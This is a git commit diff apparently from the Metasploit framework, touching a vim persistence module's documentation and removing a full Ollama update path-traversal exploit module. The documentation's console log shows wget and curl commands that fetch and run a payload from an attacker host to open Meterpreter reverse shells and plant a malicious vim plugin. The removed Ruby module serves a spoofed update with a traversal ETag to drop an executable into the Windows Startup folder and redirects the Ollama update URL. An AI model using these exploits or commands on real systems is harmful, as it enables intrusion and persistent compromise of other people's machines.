cleanup vim plugin

This commit is contained in:
h00die
2026-05-07 20:06:32 -04:00
parent fa69f45366
commit 4da2554a2a
4 changed files with 100 additions and 311 deletions
@@ -1,99 +0,0 @@
## Vulnerable Application
This module creates a VIM Plugin which executes a payload on VIM startup.
## Verification Steps
1. Install the application if needed
2. Start msfconsole
3. Get a shell on a linux computer with vim installed
4. Do: `use exploit/linux/persistence/vim_persistence`
5. Do: `run`
6. Start `vim` on the remote computer
7. You should get a shell.
## Options
### NAME
Name of the extension. Defaults to random.
## Scenarios
### vim 9.1.2141 on Kali 2026.1
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/vim_persistence) > set session 1
session => 1
msf exploit(linux/persistence/vim_persistence) > exploit
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. VIM is installed
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
```
Open vim
```
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
```
@@ -0,0 +1,99 @@
## Vulnerable Application
This module creates a VIM Plugin which executes a payload on VIM startup.
## Verification Steps
1. Install the application if needed
2. Start msfconsole
3. Get a shell on a linux computer with vim installed
4. Do: `use exploit/linux/persistence/vim_persistence`
5. Do: `run`
6. Start `vim` on the remote computer
7. You should get a shell.
## Options
### NAME
Name of the extension. Defaults to random.
## Scenarios
### vim 9.1.2141 on Kali 2026.1
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/vim_persistence) > set session 1
session => 1
msf exploit(linux/persistence/vim_persistence) > exploit
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. VIM is installed
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
```
Open vim
```
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
```
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local
end
unless directory?(lisp_dir)
cmd_exec("#{lisp_dir}", cleanup: false)
mkdir(lisp_dir, cleanup: false)
@clean_up_rc << "rmdir #{lisp_dir}\n"
end
@@ -1,211 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Local::Persistence
include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
# ETag value that Ollama's updater resolves relative to its temp download dir
# (%LOCALAPPDATA%\Temp\<dir>\). Three levels up reaches %APPDATA%\.
ETAG_STARTUP = '"../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup"'
# Six levels up from the same base dir reaches the filesystem root (C:\),
# then descend into the hosts file. Requires admin/elevated Ollama process.
ETAG_HOSTS = '"../../../../../../Windows/System32/drivers/etc/hosts"'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ollama Update ETag Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in Ollama's Windows
update mechanism between 0.12.10 through 0.22.0. When Ollama checks for
and downloads an update, the
destination path is derived from the server-supplied ETag response header
without sanitization. An attacker positioned to intercept or spoof Ollama's
update server (e.g. via DNS spoofing or ARP poisoning) can supply a
traversal ETag to write an arbitrary file anywhere the Ollama process has
write access. Two targets are provided: Startup EXE drops a payload into
the per-user Startup folder for persistence on next login (standard user);
Hosts File overwrites C:\Windows\System32\drivers\etc\hosts to poison DNS
resolution (requires admin/elevated Ollama). The current Ollama version is
extracted from the incoming update request via User-Agent or query param.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Bartłomiej Dmitruk' # disclosure and PoC
],
'References' => [
['CVE', '2026-42248'],
['CVE', '2026-42249'],
['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'],
['URL', 'https://github.com/ollama/ollama']
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[
'Windows x64 - Startup EXE',
{
'Arch' => ARCH_X64,
'ETag' => ETAG_STARTUP,
'Type' => :exe
}
],
[
'Windows x86 - Startup EXE',
{
'Arch' => ARCH_X86,
'ETag' => ETAG_STARTUP,
'Type' => :exe
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-04-29',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptPort.new('SRVPORT', [true, 'The local port to listen on', 8080]),
OptString.new('URIPATH', [true, 'The URI path', '/']),
OptString.new('FILENAME', [true, 'Payload Filename', 'OllamaSetup.exe']),
# OptString.new('HOSTS_ENTRY', [false, 'Hosts file entry to inject (e.g. "1.2.3.4 example.com")', ''])
]
)
end
def check
output = cmd_exec('ollama --version')
# output: "ollama version is 0.23.1"
version = output.match(/ollama version is (\d+\.\d+\.\d+)/i)&.captures&.first
if version.nil?
# match on client version, hopefully close enough
version = output.match(/client version is (\d+\.\d+\.\d+)/i)&.captures&.first
end
return CheckCode::Unknown('Could not determine Ollama version') unless version
vprint_status("Detected Ollama version: #{version}")
if Rex::Version.new(version) < Rex::Version.new('0.23.2') # this is artificial as it is believed to not be patched yet
return CheckCode::Appears("Ollama #{version} is vulnerable")
end
CheckCode::Safe("Ollama #{version} is not vulnerable")
end
def on_request_uri(cli, request)
if request.uri.include?('/api/update')
handle_update_check(cli, request)
elsif request.uri.include?('/download/')
handle_download(cli, request)
else
send_not_found(cli)
end
end
def extract_version(request)
# Ollama's updater sends version as a query param and/or in the User-Agent.
# Query param takes precedence as it is always present and unambiguous.
ver = request.qstring['version']
return ver if ver && !ver.empty?
ua = request.headers['User-Agent'] || ''
# Match "ollama/X.Y.Z" anywhere in the UA string.
m = ua.match(%r{ollama/(\S+)}i)
m ? m[1] : nil
end
def handle_update_check(cli, request)
proto = datastore['SSL'] ? 'https' : 'http'
host = request.headers['Host'] || "#{srvhost}:#{datastore['SRVPORT']}"
ver = extract_version(request)
if ver
print_good("#{cli.peerhost} - Detected Ollama version: #{ver}")
report_note(
host: cli.peerhost,
type: 'ollama.version',
data: ver,
update: :unique_data
)
else
print_status("#{cli.peerhost} - Could not determine Ollama version from request")
end
body = JSON.generate({
'url' => "#{proto}://#{host}/download/#{datastore['FILENAME']}",
'version' => '999.0.0'
})
print_status("#{cli.peerhost} - Sending fake update response → /download/#{datastore['FILENAME']}")
send_response(cli, body, {
'Content-Type' => 'application/json',
'Content-Length' => body.bytesize.to_s
})
end
def handle_download(cli, request)
etag = target['ETag']
headers = {
'ETag' => etag,
'Content-Disposition' => "attachment; filename=\"#{datastore['FILENAME']}\""
}
if request.method.eql?('HEAD')
print_status("#{cli.peerhost} - HEAD /download/ — sending path traversal ETag")
send_response(cli, '', headers)
return
end
serve_exe_payload(cli, headers)
end
def serve_exe_payload(cli, headers)
pload = generate_payload_exe
print_status("#{cli.peerhost} - GET /download/ — sending EXE payload (Startup folder)")
headers['Content-Type'] = 'application/octet-stream'
headers['Content-Length'] = pload.bytesize.to_s
send_response(cli, pload, headers)
handler(cli)
end
def install_persistence
serv_url = "http#{'s' if datastore['SSL']}://#{srvhost}:#{datastore['SRVPORT']}"
if session.type == 'meterpreter'
update_url = session.sys.config.getenv('OLLAMA_UPDATE_URL')
else
update_url = cmd_exec('echo %OLLAMA_UPDATE_URL%').strip
end
if update_url.nil? || update_url.empty?
vprint_status('No existing OLLAMA_UPDATE_URL found')
@clean_up_rc << 'setx OLLAMA_UPDATE_URL ""'
else
vprint_status("Detected OLLAMA_UPDATE_URL as: #{update_url}")
@clean_up_rc << "setx OLLAMA_UPDATE_URL \"#{update_url}\""
end
puts cmd_exec("setx OLLAMA_UPDATE_URL \"#{serv_url}\"")
print_good("Ollama update URL set to #{serv_url} for persistence. It can be reverted with: setx OLLAMA_UPDATE_URL \"#{update_url}\"")
puts session.sys.config.getenv('OLLAMA_UPDATE_URL')
end
end